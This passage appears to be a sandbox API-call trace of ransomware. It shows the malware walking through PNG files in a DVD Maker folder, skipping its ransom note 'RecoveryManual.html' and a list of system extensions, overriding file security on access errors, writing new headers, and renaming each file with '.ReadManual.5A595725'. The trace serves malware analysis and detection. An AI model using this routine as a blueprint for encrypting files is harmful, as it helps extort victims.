StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.059] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.059] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.059] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.059] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.059] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" [0258.059] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.ReadManual.5A595725" [0258.059] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.ReadManual.5A595725") returned 95 [0258.059] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37872808225) returned 1 [0258.059] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0258.060] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.060] GetLastError () returned 0x5 [0258.060] GetNamedSecurityInfoW () returned 0x0 [0258.060] SetNamedSecurityInfoW () returned 0x0 [0258.060] SetNamedSecurityInfoW () returned 0x0 [0258.061] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.061] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=6440) returned 1 [0258.061] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1928, lpName=0x0) returned 0x1a0 [0258.061] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0258.062] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.062] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.063] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.063] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1928) returned 0x2f0000 [0258.064] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.064] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37873238923) returned 1 [0258.064] CloseHandle (hObject=0x1a0) returned 1 [0258.064] SetSecurityInfo () returned 0x5 [0258.064] SetSecurityInfo () returned 0x5 [0258.064] LocalFree (hMem=0x674d38) returned 0x0 [0258.064] CloseHandle (hObject=0x184) returned 1 [0258.065] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0258.065] lstrcpyW (in: lpString1=0x6ab90e, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0258.065] lstrcmpiW (lpString1="15x15dot.png", lpString2="RecoveryManual.html") returned -1 [0258.065] StrStrIW (lpFirst="15x15dot.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.065] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.065] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.065] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.065] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.065] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.065] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.065] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" [0258.065] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.ReadManual.5A595725" [0258.065] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.ReadManual.5A595725") returned 89 [0258.065] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37873417986) returned 1 [0258.065] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png")) returned 0x20 [0258.066] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.066] GetLastError () returned 0x5 [0258.066] GetNamedSecurityInfoW () returned 0x0 [0258.066] SetNamedSecurityInfoW () returned 0x0 [0258.066] SetNamedSecurityInfoW () returned 0x0 [0258.067] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.067] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2821) returned 1 [0258.067] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb05, lpName=0x0) returned 0x1a0 [0258.067] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0258.068] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.068] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.069] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.069] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb05) returned 0x2f0000 [0258.070] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.070] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37873841584) returned 1 [0258.070] CloseHandle (hObject=0x1a0) returned 1 [0258.070] SetSecurityInfo () returned 0x5 [0258.070] SetSecurityInfo () returned 0x5 [0258.070] LocalFree (hMem=0x674d38) returned 0x0 [0258.070] CloseHandle (hObject=0x184) returned 1 [0258.070] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0258.070] lstrcpyW (in: lpString1=0x6ab90e, lpString2="720x480icongraphic.png" | out: lpString1="720x480icongraphic.png") returned="720x480icongraphic.png" [0258.070] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="RecoveryManual.html") returned -1 [0258.070] StrStrIW (lpFirst="720x480icongraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.070] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.070] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.070] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.070] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.070] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.070] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.071] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" [0258.071] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.ReadManual.5A595725" [0258.071] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.ReadManual.5A595725") returned 99 [0258.071] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37873938391) returned 1 [0258.071] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png")) returned 0x20 [0258.071] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.072] GetLastError () returned 0x5 [0258.072] GetNamedSecurityInfoW () returned 0x0 [0258.072] SetNamedSecurityInfoW () returned 0x0 [0258.072] SetNamedSecurityInfoW () returned 0x0 [0258.073] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.073] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5620) returned 1 [0258.073] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15f4, lpName=0x0) returned 0x1a0 [0258.073] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0258.074] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.074] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.075] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.075] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15f4) returned 0x2f0000 [0258.076] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.076] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37874439836) returned 1 [0258.076] CloseHandle (hObject=0x1a0) returned 1 [0258.076] SetSecurityInfo () returned 0x5 [0258.076] SetSecurityInfo () returned 0x5 [0258.076] LocalFree (hMem=0x674d38) returned 0x0 [0258.076] CloseHandle (hObject=0x184) returned 1 [0258.076] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0258.076] lstrcpyW (in: lpString1=0x6ab90e, lpString2="720_480shadow.png" | out: lpString1="720_480shadow.png") returned="720_480shadow.png" [0258.076] lstrcmpiW (lpString1="720_480shadow.png", lpString2="RecoveryManual.html") returned -1 [0258.076] StrStrIW (lpFirst="720_480shadow.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.076] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.076] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.076] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.076] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.076] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.076] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.076] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.076] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.076] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.077] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.077] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.077] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.077] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.077] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.077] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" [0258.077] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.ReadManual.5A595725" [0258.077] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.ReadManual.5A595725") returned 94 [0258.077] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37874556227) returned 1 [0258.077] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png")) returned 0x20 [0258.077] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.077] GetLastError () returned 0x5 [0258.077] GetNamedSecurityInfoW () returned 0x0 [0258.077] SetNamedSecurityInfoW () returned 0x0 [0258.078] SetNamedSecurityInfoW () returned 0x0 [0258.078] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.079] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5182) returned 1 [0258.079] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x143e, lpName=0x0) returned 0x1a0 [0258.079] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0258.079] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.079] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.081] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.081] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x143e) returned 0x2f0000 [0258.081] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.081] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37874992841) returned 1 [0258.081] CloseHandle (hObject=0x1a0) returned 1 [0258.081] SetSecurityInfo () returned 0x5 [0258.081] SetSecurityInfo () returned 0x5 [0258.081] LocalFree (hMem=0x674d38) returned 0x0 [0258.081] CloseHandle (hObject=0x184) returned 1 [0258.082] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0258.082] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0258.082] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0258.082] StrStrIW (lpFirst="NavigationLeft_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.082] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.082] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.082] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.082] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.082] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.082] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.082] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" [0258.082] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725" [0258.082] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.ReadManual.5A595725") returned 109 [0258.082] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37875272579) returned 1 [0258.084] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png")) returned 0x20 [0258.084] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.084] GetLastError () returned 0x5 [0258.084] GetNamedSecurityInfoW () returned 0x0 [0258.085] SetNamedSecurityInfoW () returned 0x0 [0258.085] SetNamedSecurityInfoW () returned 0x0 [0258.086] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.086] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=5088) returned 1 [0258.086] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13e0, lpName=0x0) returned 0x1a0 [0258.086] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0258.086] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.087] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.088] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.088] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, 